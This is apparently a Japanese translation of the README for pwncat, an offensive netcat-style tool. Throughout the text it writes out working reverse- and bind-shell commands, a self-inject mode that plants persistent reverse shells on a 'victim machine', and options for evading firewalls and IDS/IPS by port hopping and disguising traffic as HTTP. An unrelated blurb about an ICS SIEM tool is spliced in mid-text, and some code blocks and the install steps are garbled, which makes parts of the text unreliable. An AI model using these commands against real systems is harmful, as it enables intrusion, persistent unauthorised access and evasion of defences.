
pwncat - 強化版netcat、ファイアウォール・IDS/IPS回避、バインド/リバースシェル、自己注入シェル、ポート転送機能を備え、Python (PSE) で完全にスクリプト可能
ドキュメント | インストール | TL;DR | 機能 | 動作 | 使い方 | 例 | FAQ | 貢献 | 免責事項 | ライセンス
ファイアウォール、IDS/IPS回避、バインドシェル、リバースシェル、自己注入シェル、ポートフォワーディング機能を備えたNetcatの強化版。Python(PSE)で完全にスクリプト可能です。 - docs.pwncat.org
[1] mypy 型カバレッジ (完全型指定: 94.00%)
[2] ビルド失敗は機能の不具合を示すものではありません。 統合テストは数時間実行され、様々な理由(ネットワークタイムアウト、GitHub Actionsの不明なキャンセルなど)で散発的に失敗します: #735, #841
リバースシェルでうっかり Ctrl+c を押してしまい、永久に失われた経験はありませんか?
ファイアウォールが遮断してクライアントが接続してこないのを永遠に待ったことは?
IPSが疑わしいポートを閉じて接続が切れたことは?
簡単なポートフォワーディングが必要になったことはありますか?
これを1つ持っていれば安心です。
それ以外にも、現在の nc、ncat、socat の機能では私のニーズを満たせず、古いマシンでも新しいマシンでも動作する単一のツールが欲しかったのです(そのためPython 2+3互換)。最も重要なのは、自分で理解でき、独自の機能を追加できる言語であることです(Linux、MacOS、Windows向けのバイナリリリースも近日公開予定)。
| Pwncat ドキュメント |
|---|
現在のバージョン: 0.1.2
| Pip |
|---|
![]() |
pip install pwncat |
[1]: Epel リポジトリ
[2]: 不安定
これは簡単に使い始めるための概要です。より高度なテクニックについては 💻 使い方 または 💡 例 を参照してください。
```bash
curl https://raw.githubusercontent.com/cytopia/pwncat/master/bin/pwncat | base64
echo "" | base64 -d > pwncat chmod +x pwncat
### 標的への注入```bash
# [1] If you found a vulnerability on the target to start a very simple reverse shell,
# such as via bash, php, perl, python, nc or similar, you can instruct your local
# pwncat listener to use this connection to deploy itself on the target automatically
# and start an additional unbreakable reverse shell back to you.
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445
[1] 自己注入についてもっと詳しく読む
pwncat -l -e '/bin/bash' 8080 -k
```bash
# Reverse shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1
# Reverse UDP shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 -u --ping-intvl 1
pwncat -z 10.0.0.1 80,443,8080 pwncat -z 10.0.0.1 1-65535 pwncat -z 10.0.0.1 1+1023
pwncat -z 10.0.0.1 80,443,8080 -u pwncat -z 10.0.0.1 1-65535 -u pwncat -z 10.0.0.1 1+1023 -u
pwncat -z 10.0.0.1 1-65535 -4 pwncat -z 10.0.0.1 1-65535 -6 -u
pwncat -z 10.0.0.1 1-65535 --banner
### ローカルポートフォワード `-L` (リスニングプロキシ)```bash
# Make remote MySQL server (remote port 3306) available on current machine
# on every interface on port 5000
pwncat -L 0.0.0.0:5000 everythingcli.org 3306
# Same, but convert traffic on your end to UDP
pwncat -L 0.0.0.0:5000 everythingcli.org 3306 -u
-R (ダブルクライアントプロキシ)```bashpwncat -R 10.0.0.1:4444 everythingcli.org 3306
```bash
# Same, but convert traffic on your end to UDP
pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u
pwncat には多くの機能がありますが、以下は特筆すべき特徴の一覧です。
*この機能は現在開発中です。
netcat の元の実装と同様に、TCP を使用する場合、pwncat(クライアントモードおよびリスンモード)は、ネットワーク接続が正常または異常に終了した場合、自動的に終了します。リモートピアが接続を終了しない場合、またはUDPモードの場合、netcat と pwncat は開いたままになります。STDINが閉じられたときの動作は少し異なります。
netcat: STDINが閉じられても接続が開いている場合、netcat は開いたままになりますpwncat: STDINが閉じられても接続が開いている場合、pwncat は閉じます--no-shutdown コマンドライン引数を使用して、netcat の動作をエミュレートできます。
この動作をより理解するには、以下のコマンドを参照してください:```bash
printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80
printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80 --no-shutdown
- ics: 小規模ICS SIEM/CCツール
- URL: [https://github.com/b1ack0wl/ics](https://github.com/b1ack0wl/ics)
- 作者: b1ack0wl
- 説明: 小型のICS SIEMおよびコマンドセンターツール。syslogを監視しデータを分析でき、ICSデバイスとの対話用ユーティリティも提供します。このツールはアクティブディフェンスと監視に使用することを目的としています。
- 最終コミット: 2020-07-02
- スター: 53```bash
# [Invalid HTTP request] Quits, because the web server closes the connection and STDIN is EOF
printf "GET / \n\n" | pwncat www.google.com 80
単一のSIEM(Splunk, Azure Sentinel, Elastic SaaS など)を使用することもできます。```bash
pwncat -l 4444 > output.txt pwncat localhost 4444 < input.txt
pwncat -l 4444 --no-shutdown > output.txt pwncat localhost 4444 --no-shutdown < input.txt
UDP経由でファイルを送信することは信頼性が低いことに注意してください。```bash
# [UDP] (--no-shutdown has no effect, as this is the default behaviour in UDP)
# Neither of both, client and server will quit after successful transfer
# and they will be stuck, waiting for more input or output.
# When exiting one (e.g.: via Ctrl+c), the other one will still stay open in UDP mode.
pwncat -u -l 4444 > output.txt
pwncat -u localhost 4444 < input.txt
このデフォルトの動作を変更する方法は多数あります。詳細な設定については、使用方法セクションを参照してください。
[1]
--no-shutdownと--keepを使用していない場合のみ有効。その場合、送信用ソケットがシャットダウンされ、リモート側にEOFを通知します。
pwncat -h と入力するか、以下をクリックして利用可能な全オプションを確認してください。
Enhanced and compatible Netcat implementation written in Python (2 and 3) with connect, zero-i/o, listen and forward modes and techniques to detect and evade firewalls and intrusion detection/prevention systems.
If no mode arguments are specified, pwncat will run in connect mode and act as a client to connect to a remote endpoint. If the connection to the remote endoint is lost, pwncat will quit. See options for how to automatically re- connect.
positional arguments: hostname Address to listen, forward, scan or connect to.
port [All modes] Single port to listen, forward or connect to. [Zero-I/O mode] Specify multiple ports to scan: Via list: 4444,4445,4446 Via range: 4444-4446 Via incr: 4444+2
mode arguments: -l, --listen [Listen mode]: Start a server and listen for incoming connections. If using TCP and a connected client disconnects or the connection is interrupted otherwise, the server will quit. See -k/--keep-open to change this behaviour.
-z, --zero [Zero-I/0 mode]: Connect to a remote endpoint and report status only. Used for port scanning. See --banner for version detection.
-L [addr:]port, --local [addr:]port [Local forward mode]: This mode will start a server and a client internally. The internal server will listen locally on specified addr/port (given by --local [addr:]port). The server will then forward traffic to the internal client which connects to another server specified by hostname/port given via positional arguments. (I.e.: proxies a remote service to a local address)
-R addr:port, --remote addr:port [Remote forward mode]: This mode will start two clients internally. One is connecting to the target and one is connecting to another pwncat/netcat server you have started some- where. Once connected, it will then proxy traffic between you and the target. This mode should be applied on machines that block incoming traffic and only allow outbound. The connection to your listening server is given by -R/--remote addr:port and the connection to the target machine via the positional arguments.
optional arguments: -e cmd, --exec cmd Execute shell command. Only for connect or listen mode.
-C lf, --crlf lf Specify, 'lf', 'crlf' or 'cr' to always force replacing line endings for input and outout accordingly. Specify 'no' to completely remove any line feeds. By default it will not replace anything and takes what is entered (usually CRLF on Windows, LF on Linux and some times CR on MacOS).
-n, --nodns Do not resolve DNS.
--send-on-eof Buffer data received on stdin until EOF and send everything in one chunk.
| コードスタイル | 統合テスト [2] |
|---|
|
| リンク |
|---|
| 公式ドキュメント | https://docs.pwncat.org |
| 公式ウェブサイト | https://pwncat.org |
| APIドキュメント | https://pwncat.org/pwncat.api.html |
| Pwncat スクリプティングエンジン | PSE |
| MacOS | Arch Linux | BlackArch | CentOS[1] |
|---|
![]() | |||
brew install pwncat | yay -S pwncat | pacman -S pwncat | yum install pwncat |
| Fedora | Kali Linux | NixOS[2] | Oracle Linux[1] |
dnf install pwncat | apt install pwncat | nixos.pwncat | yum install pwncat |
| Pentoo | Parrot OS | ||
net-analyzer/pwncat | apt install pwncat |
壊れないリバースシェル - 複数シェル
|
| 機能 | 説明 |
|---|
| PSE | Pwncat Scripting Engine により完全にスクリプト可能で、送受信時にさまざまな高度な処理を実行できます。 |
| ポートスキャン | TCPおよびUDPポートスキャン、基本的なバージョン検出サポート |
| 自己注入型rshell | 自身を展開し、自動的に切断不可能なリバースシェルを開始する自己注入モード |
| バインドシェル | バインドシェルを作成 |
| リバースシェル | リバースシェルを作成 |
| ポートフォワード | ローカルおよびリモートポートフォワード(プロキシサーバー/クライアント) |
| Ctrl+c | 誤ってCtrl+cを押してもリバースシェルが再接続可能 |
| 出口検出 | ターゲット上の開いている出口ポートをスキャンして報告(ポートホッピング) |
| FW回避 | 送信ポートをラウンドロビンすることで出口ファイアウォールを回避(ポートホッピング) |
| IPS回避 | 接続中断時に送信ポートをラウンドロビンできるため、侵入防止システムを回避(ポートホッピング) |
| UDPリバースシェル | 従来の netcat で試してみてください |
| ステートフルUDP | UDPクライアントモードのステートフル接続フェーズ |
| TCP / UDP | 完全なTCPおよびUDPサポート |
| IPv4 / IPv6 | デュアルまたはシングルスタックのIPv4およびIPv6サポート |
| Python 2+3 | Python 2、Python 3、pypy2、pypy3で動作 |
| クロスOS | Pythonが利用可能であればLinux、MacOS、Windowsで動作 |
| 互換性 | netcat、ncat、socat を pwncat と一緒にクライアントまたはサーバーとして使用可能 |
| ポータブル | コアパッケージのみを使用する単一ファイル - 外部依存関係不要 |
| pwncat | netcat | ncat | socat |
|---|
| スクリプティングエンジン | ✔ Python | ❌ | ✔ Lua | ❌ |
| IP ToS | ✔ | ✔ | ❌ | ✔ |
| IPv4 | ✔ | ✔ | ✔ | ✔ |
| IPv6 | ✔ | ✔ | ✔ | ✔ |
| Unixドメインソケット | ❌ | ✔ | ✔ | ✔ |
| Linux vsock | ❌ | ❌ | ✔ | ❌ |
| ソケットソースバインド | ✔ | ✔ | ✔ | ✔ |
| TCP | ✔ | ✔ | ✔ | ✔ |
| UDP | ✔ | ✔ | ✔ | ✔ |
| SCTP | ❌ | ❌ | ✔ | ✔ |
| SSL | ❌ | ❌ | ✔ | ✔ |
| HTTP | ✔ | ❌ | ❌ | ❌ |
| HTTPS | * | ❌ | ❌ | ❌ |
| Telnetネゴシエーション | ❌ | ✔ | ✔ | ❌ |
| プロキシサポート | ❌ | ✔ | ✔ | ✔ |
| ローカルポートフォワード | ✔ | ❌ | ❌ | ✔ |
| リモートポートフォワード | ✔ | ❌ | ❌ | ❌ |
| インバウンドポートスキャン | ✔ | ✔ | ✔ | ❌ |
| アウトバウンドポートスキャン | ✔ | ❌ | ❌ | ❌ |
| バージョン検出 | ✔ | ❌ | ❌ | ❌ |
| チャット | ✔ | ✔ | ✔ | ✔ |
| コマンド実行 | ✔ | ✔ | ✔ | ✔ |
| 16進ダンプ | * | ✔ | ✔ | ✔ |
| ブローカー | ❌ | ❌ | ✔ | ❌ |
| 同時接続 | ❌ | ❌ | ✔ | ✔ |
| 許可/拒否 | ❌ | ❌ | ✔ | ✔ |
| 再受け入れ | ✔ | ✔ | ✔ | ✔ |
| 自己注入 | ✔ | ❌ | ❌ | ❌ |
| UDPリバースシェル | ✔ | ❌ | ❌ | ❌ |
| 再生成クライアント | ✔ | ❌ | ❌ | ❌ |
| ポートホッピング | ✔ | ❌ | ❌ | ❌ |
| 緊急シャットダウン | ✔ | ❌ | ❌ | ❌ |
| 動作 | ![]() | ![]() | ![]() |
|---|
| 終了 (SIGINT) | Ctrl+c | Ctrl+c | Ctrl+c |
| 終了 (SIGQUIT) | Ctrl+\ | ? | ? |
| 終了 (SIGQUIT) | Ctrl+4 | ? | ? |
| STDIN 終了[1] | Ctrl+d | Ctrl+d | Ctrl+z と Ctrl+Enter |
| 送信 (NL) | Ctrl+j | ? | ? |
| 送信 (EOL) | Ctrl+m | ? | ? |
| 送信 (EOL) | Enter | Enter | Enter |
--no-shutdown Do not shutdown into half-duplex mode. If this option is passed, pwncat won't invoke shutdown on a socket after seeing EOF on stdin. This is provided for backward-compatibility with OpenBSD netcat, which exhibits this behavior.
-v, --verbose Be verbose and print info to stderr. Use -v, -vv, -vvv or -vvvv for more verbosity. The server performance will decrease drastically if you use more than three times.
--info type Show additional info about sockets, IPv4/6 or TCP opts applied to the current socket connection. Valid parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'. Note, you must at least be in INFO verbose mode in order to see them (-vv).
-c str, --color str Colored log output. Specify 'always', 'never' or 'auto'. In 'auto' mode, color is displayed as long as the output goes to a terminal. If it is piped into a file, color will automatically be disabled. This mode also disables color on Windows by default. (default: auto)
--safe-word str All modes: If pwncat is started with this argument, it will shut down as soon as it receives the specified string. The --keep-open (server) or --reconn (client) options will be ignored and it won't listen again or reconnect to you. Use a very unique string to not have it shut down accidentally by other input.
protocol arguments: -4 Only Use IPv4 (default: IPv4 and IPv6 dualstack).
-6 Only Use IPv6 (default: IPv4 and IPv6 dualstack).
-u, --udp Use UDP for the connection instead of TCP.
-T str, --tos str Specifies IP Type of Service (ToS) for the connection. Valid values are the tokens 'mincost', 'lowcost', 'reliability', 'throughput' or 'lowdelay'.
--http Connect / Listen mode (TCP and UDP): Hide traffic in http packets to fool Firewalls/IDS/IPS.
--https Connect / Listen mode (TCP and UDP): Hide traffic in https packets to fool Firewalls/IDS/IPS.
-H [str [str ...]], --header [str [str ...]] Add HTTP headers to your request when using --http(s).
command & control arguments: --self-inject cmd:host:port[s] Listen mode (TCP only): If you are about to inject a reverse shell onto the victim machine (via php, bash, nc, ncat or similar), start your listening server with this argument. This will then (as soon as the reverse shell connects) automatically deploy and background-run an unbreakable pwncat reverse shell onto the victim machine which then also connects back to you with specified arguments. Example: '--self-inject /bin/bash:10.0.0.1:4444' It is also possible to launch multiple reverse shells by specifying multiple ports. Via list: --self-inject /bin/sh:10.0.0.1:4444,4445,4446 Via range: --self-inject /bin/sh:10.0.0.1:4444-4446 Via incr: --self-inject /bin/sh:10.0.0.1:4444+2 Note: this is currently an experimental feature and does not work on Windows remote hosts yet.
pwncat scripting engine: --script-send file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed before sending data to a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec().
--script-recv file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed after receiving data from a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec().
zero-i/o mode arguments: --banner Zero-I/O (TCP and UDP): Try banner grabbing during port scan.
listen mode arguments: -k, --keep-open Listen mode (TCP only): Re-accept new clients in listen mode after a client has disconnected or the connection is interrupted otherwise. (default: server will quit after connection is gone)
--rebind [x] Listen mode (TCP and UDP): If the server is unable to bind, it will re-initialize itself x many times before giving up. Omit the quantifier to rebind endlessly or specify a positive integer for how many times to rebind before giving up. See --rebind-robin for an interesting use-case. (default: fail after first unsuccessful try).
--rebind-wait s Listen mode (TCP and UDP): Wait x seconds between re-initialization. (default: 1)
--rebind-robin port Listen mode (TCP and UDP): If the server is unable to initialize (e.g: cannot bind and --rebind is specified, it it will shuffle ports in round-robin mode to bind to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --rebind to at least the number of ports to probe +1 This option requires --rebind to be specified.
connect mode arguments: --source-addr addr Specify source bind IP address for connect mode.
--source-port port Specify source bind port for connect mode.
--reconn [x] Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted, the client will connect again x many times before giving up. Omit the quantifier to retry endlessly or specify a positive integer for how many times to retry before giving up. (default: quit if the remote is not available or the connection was interrupted) This might be handy for stable TCP reverse shells ;-) Note on UDP: By default UDP does not know if it is connected, so it will stop at the first port and assume it has a connection. Consider using --udp-sconnect with this option to make UDP aware of a successful connection.
--reconn-wait s Connect mode (TCP and UDP): Wait x seconds between re-connects. (default: 1)
--reconn-robin port Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted and --reconn is specified, the client will shuffle ports in round-robin mode to connect to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --reconn to at least the number of ports to probe +1 This helps reverse shell to evade intrusiona prevention systems that will cut your connection and block the outbound port. This is also useful in Connect or Zero-I/O mode to figure out what outbound ports are allowed.
--ping-init Connect mode (TCP and UDP): UDP is a stateless protocol unlike TCP, so no hand- shake communication takes place and the client just sends data to a server without being "accepted" by the server first. This means a server waiting for an UDP client to connect to, is unable to send any data to the client, before the client hasn't send data first. The server simply doesn't know the IP address before an initial connect. The --ping-init option instructs the client to send one single initial ping packet to the server, so that it is able to talk to the client. This is a way to make a UDP reverse shell work. See --ping-word for what char/string to send as initial ping packet (default: '\0')
--ping-intvl s Connect mode (TCP and UDP): Instruct the client to send ping intervalls every s sec. This allows you to restart your UDP server and just wait for the client to report back in. This might be handy for stable UDP reverse shells ;-) See --ping-word for what char/string to send as initial ping packet (default: '\0')
--ping-word str Connect mode (TCP and UDP): Change the default character '\0' to use for upd ping. Single character or strings are supported.
--ping-robin port Connect mode (TCP and UDP): Instruct the client to shuffle the specified ports in round-robin mode for a remote server to ping. This might be handy to scan outbound allowed ports. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Use --ping-intvl 0 to be faster.
--udp-sconnect Connect mode (UDP only): Emulating stateful behaviour for UDP connect phase by sending an initial packet to the server to validate if it is actually connected. By default, UDP will simply issue a connect and is not aware if it is really connected or not. The default connect packet to be send is '\0', you can change this with --udp-sconnect-word.
--udp-sconnect-word [str] Connect mode (UDP only): Change the the data to be send for UDP stateful connect behaviour. Note you can also omit the string to send an empty packet (EOF), but be aware that some servers such as netcat will instantly quit upon receive of an EOF packet. The default is to send a null byte sting: '\0'.
misc arguments: -h, --help Show this help message and exit -V, --version Show version information and exit
</details>
## :bulb: 例
### シェルをインタラクティブにアップグレードする
<!--
<details>
<summary>クリックして展開</summary>
-->
> これは普遍的なアドバイスであり、`pwncat`だけでなく、他の一般的なツールでも有効です。
リバースシェルやバインドシェルに接続すると、インタラクティブなコマンドが動作せず、
<kbd>Ctrl</kbd>+<kbd>c</kbd>を押すとセッションが終了してしまうことに気づくでしょう。
これを修正するには、TTYにアタッチして(インタラクティブにする)必要があります。方法は次の通りです。```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+z```bash
stty size
stty raw -echo fg
stty raw -echo; fg
reset export SHELL=bash export TERM=xterm stty rows columns # and values found above by 'stty size'
> <sup>[1] [リバースシェルチートシート](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#spawn-tty-shell)</sup>
### UDP リバースシェル
トリックなしでは、UDP リバースシェルは実際には不可能です。UDP は TCP と比較してステートレスプロトコルであり、TCP のような `connect()` メソッドを持ちません。
TCP モードでは、クライアントが `connects()` を発行すると、サーバーはクライアントの IP とポートを認識します。
UDP モードでは、`connect()` がないため、クライアントは最初に接続する必要なく、単にアドレス/ポートにデータを送信します。
したがって、UDP モードでは、サーバーはクライアントの IP とポートを知ることができず、そのためクライアントに先にデータを送信することはできません。
これを可能にする唯一の方法は、クライアントが最初に何らかのデータをサーバーに送信し、サーバーがどの IP/ポートからデータが送信されたかを確認できるようにすることです。
`pwncat` は、クライアントが `--ping-intvl` または `--ping-init` を介して null バイトをサーバーに一度または定期的に送信することで、TCP の `connect()` をエミュレートします。```bash
# The client
# --exec # Provide this executable
# --udp # Use UDP mode
# --ping-init # Send an initial null byte to the server
pwncat --exec /bin/bash --udp --ping-init 10.0.0.1 4444
なぜ壊れないのか?それは、リスニングサーバーを一時的に停止しても、接続が戻ってくるからです。 言い換えれば、クライアントは成功するまで指定されたサーバーへの接続を試み続けます。接続が中断された場合も、再接続を試み続けます。```bash
pwncat --exec /bin/bash --nodns --reconn --reconn-wait 2 10.0.0.1 4444
### 破られないUDPリバースシェル
なぜ破られないのか?それは、リスニングサーバーを一時的に停止しても、クライアントが何度も戻ってくるからです。
言い換えれば、クライアントは自身を常にアナウンスするために、サーバーにヌルバイトを送信し続けます。```bash
# The client
# --exec # Provide this executable
# --nodns # Keep the noise down and don't resolve hostnames
# --udp # Use UDP mode
# --ping-intvl # Ping the server every 2 seconds
pwncat --exec /bin/bash --nodns --udp --ping-intvl 2 10.0.0.1 4444
ターゲットからあなたのマシンへ、非常にシンプルで不安定なリバースシェル(PHPスクリプト経由のウェブシェルなど)を作成できる状況を想像してみてください。
それが長く持続しないことや、不安定なネットワーク接続のために切断される可能性があることを踏まえ、pwncat を使用してこの接続にフックし、ターゲット上に自動的にかつ破壊不能な状態で自身を展開することができます。
あなたがすべきことは、pwncat をローカルリスナーとして使用し、--self-inject スイッチを付けて起動することだけです。
クライアント(例:リバースウェブシェル)が接続するとすぐに、以下の一連の処理が行われます。
これが完了すると、現在の接続をそのまま使い続けることも、単に放棄して新しいリスナーを起動することもできます(そう、リバースシェルを起動する前にリスナーを開始する必要はありません)。新しい pwncat クライアントがあなたに接続します。新しいリスナーは pwncat である必要はなく、netcat や ncat でも構いません。
--self-inject スイッチ:```bash
pwncat -l 4444 --self-inject ::
* `<cmd>`: ターゲット上で起動するコマンドです(`-e`/`--exec` のように、`cmd.exe` または `/bin/bash` にしたいでしょう)
* `<host>`: これはあなたのローカルマシン用で、リバースシェルが接続先とするIPアドレスです
* `<port>`: これはあなたのローカルマシン用で、リバースシェルが接続するポート番号です
では、あなたのKaliマシンが10.0.0.1であると想像してください。Linuxサーバに注入したwebshellに対して、ポート`4444`であなたに接続するよう指示します。```bash
# Start this locally, before starting the reverse webshell
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445
すると、以下のように表示されます:``` [PWNCAT CnC] Probing for: /bin/python [PWNCAT CnC] Probing for: /bin/python2 [PWNCAT CnC] Probing for: /bin/python2.7 [PWNCAT CnC] Probing for: /bin/python3 [PWNCAT CnC] Probing for: /bin/python3.5 [PWNCAT CnC] Probing for: /bin/python3.6 [PWNCAT CnC] Probing for: /bin/python3.7 [PWNCAT CnC] Probing for: /bin/python3.8 [PWNCAT CnC] Probing for: /usr/bin/python [PWNCAT CnC] Potential path: /usr/bin/python [PWNCAT CnC] Found valid Python2 version: 2.7.16 [PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us [PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT [PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422) [PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &
設定は完了です。これで、ローカルで別のリスナーをポート `4445` で開始できます(繰り返しになりますが、リスナーは絶えず接続を返すため、リスナーを先に開始する必要はありません)。```bash
# either netcat
nc -lp 4445
# or ncat
ncat -l 4445
# or pwncat
pwncat -l 4445
単一の自己注入リバースシェルを要求する代わりに、pwncat にあなたの元に接続する、破られないリバースシェルを好きなだけ生成するよう指示できます。
--self-inject 引数を使用すると、単一のポートを定義するだけでなく、次のことも可能です。
4445,4446,4447,44484446-44484445+34 つのリバースシェルを生成するには、上記と同様にリスナーを起動しますが、単一のポートではなく、複数のポートを定義します:```bash
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445,4446,4447,4448
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445-4448
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445+3
上記の3つのコマンドはすべて同じ動作を実現します。ターゲット内で4つのリバースシェルを生成します。クライアントが接続すると、出力は次のようになります:```
[PWNCAT CnC] Probing for: /bin/python
[PWNCAT CnC] Probing for: /bin/python2
[PWNCAT CnC] Probing for: /bin/python2.7
[PWNCAT CnC] Probing for: /bin/python3
[PWNCAT CnC] Probing for: /bin/python3.5
[PWNCAT CnC] Probing for: /bin/python3.6
[PWNCAT CnC] Probing for: /bin/python3.7
[PWNCAT CnC] Probing for: /bin/python3.8
[PWNCAT CnC] Probing for: /usr/bin/python
[PWNCAT CnC] Potential path: /usr/bin/python
[PWNCAT CnC] Found valid Python2 version: 2.7.16
[PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us
[PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT
[PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422)
[PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4446 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4447 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4448 &
注: 常にシェルが戻ってくるリバースシェルを確保してください。これにより、シェルを失うことなくいつでもログ設定を変更できます。
お好みで、リスナーをフルTRACEログモードで起動して、何が起こっているのかを把握したり、トラブルシューティングのために使用することができます。
ログメッセージは重要度に応じて色付けされます。stderrがptyでない場合(例えば、ファイルにパイプしている場合)は、色は自動的にオフになります。
また、--colorスイッチを使用して、端末出力の色付きログを手動で無効にすることもできます。```bash
pwncat -vvvv -l 4444
(すべてのごちゃごちゃの中に)TRACEメッセージが表示されます:```bash
2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744'
2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744
2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining)
2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output
リスナーでこれを確認したら、すぐにクライアントにコマンドを発行できます。 デバッグメッセージもすべて不要なので、サーバーを安全に Ctrl+c で終了し、サイレントモードで再起動できます。```bash pwncat -l 4444
最大数秒待つと、クライアントが戻ってくる間隔に応じて、セッションが再びログなしになります。
まったく情報メッセージがないのも、時には望ましくありません。裏で何が起こっているのか知りたいですか?安全に <kbd>Ctrl</kbd>+<kbd>c</kbd> でサーバーを終了し、通知をログファイルにリダイレクトします:```bash
pwncat -l -vvv 4444 2> comm.txt
これで、端末セッションには実際のコマンド入力と出力だけが表示されるようになります。
舞台裏で何が起こっているかを確認したい場合は、別の端末ウィンドウを開いて comm.txt ファイルを tail してください:```bash
tail -fn50 comm.txt
2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744' 2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744 2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining) 2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output
#### ソケット情報
もう一つの便利な機能は、現在設定されているソケットおよびネットワーク設定を表示することです。
`--info` スイッチを `socket`、`ipv4`、`ipv6`、`tcp`、または `all` と共に使用して、利用可能なすべての設定を表示します。
**注意:** これらの設定を表示するには、少なくとも `INFO` ログレベル (`-vv`) である必要があります。
カスタム設定なしの IPv4/TCP モードでの出力例を以下に示します:```
INFO: [bind-sock] Sock: SO_DEBUG: 0
INFO: [bind-sock] Sock: SO_ACCEPTCONN: 1
INFO: [bind-sock] Sock: SO_REUSEADDR: 1
INFO: [bind-sock] Sock: SO_KEEPALIVE: 0
INFO: [bind-sock] Sock: SO_DONTROUTE: 0
INFO: [bind-sock] Sock: SO_BROADCAST: 0
INFO: [bind-sock] Sock: SO_LINGER: 0
INFO: [bind-sock] Sock: SO_OOBINLINE: 0
INFO: [bind-sock] Sock: SO_REUSEPORT: 0
INFO: [bind-sock] Sock: SO_SNDBUF: 16384
INFO: [bind-sock] Sock: SO_RCVBUF: 131072
INFO: [bind-sock] Sock: SO_SNDLOWAT: 1
INFO: [bind-sock] Sock: SO_RCVLOWAT: 1
INFO: [bind-sock] Sock: SO_SNDTIMEO: 0
INFO: [bind-sock] Sock: SO_RCVTIMEO: 0
INFO: [bind-sock] Sock: SO_ERROR: 0
INFO: [bind-sock] Sock: SO_TYPE: 1
INFO: [bind-sock] Sock: SO_PASSCRED: 0
INFO: [bind-sock] Sock: SO_PEERCRED: 0
INFO: [bind-sock] Sock: SO_BINDTODEVICE: 0
INFO: [bind-sock] Sock: SO_PRIORITY: 0
INFO: [bind-sock] Sock: SO_MARK: 0
